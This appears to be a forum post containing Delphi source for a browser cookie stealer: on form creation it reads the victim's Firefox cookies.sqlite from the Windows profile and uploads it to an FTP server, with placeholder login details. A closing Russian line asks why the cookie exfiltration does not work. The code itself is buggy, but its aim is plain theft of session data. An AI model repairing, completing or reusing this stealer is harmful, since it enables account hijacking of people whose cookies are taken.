procedure TForm1.FormCreate(Sender: TObject);
var
User,Disc,startdir, TMP_FILE:string;
coock,st,mask:string;
f:TextFile;
i:integer;
searchrec : tsearchrec;
Firefox,IE: string;
begin
Disc:=GetSystemDisk;
User:=GetUserFromWindows;
Firefox:= Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\coo kies.sqlite';
if FileExists(Firefox) then
begin
AssignFile(f,Firefox);
Reset(f);
for i:=0 to 500 do
begin
Readln(f, st);
coock:=coock+st;
end;
end;
startdir:=Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\coo kies.sqlite';
mask := '*.*';
if findfirst(startdir+mask, faanyfile, searchrec) = 0 then
begin
// отправка на сервер
with IdFTP1 do try
IdFTP1.Username:='Login';
IdFTP1.Password:='pass';
IdFTP1.Host:='ftp';
Connect;

finally
if IdFTP1.Connected
then
try
IdFTP1.Put(Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\coo kies.sqlite','',false);
finally
if IdFTP1.Connected then
IdFTP1.Disconnect;
end;
end;
end;
end;

end.


Вот код, по идеи должны отправляться куки с компьюттера на фтп, но увы, в чем ошибка(а она есть )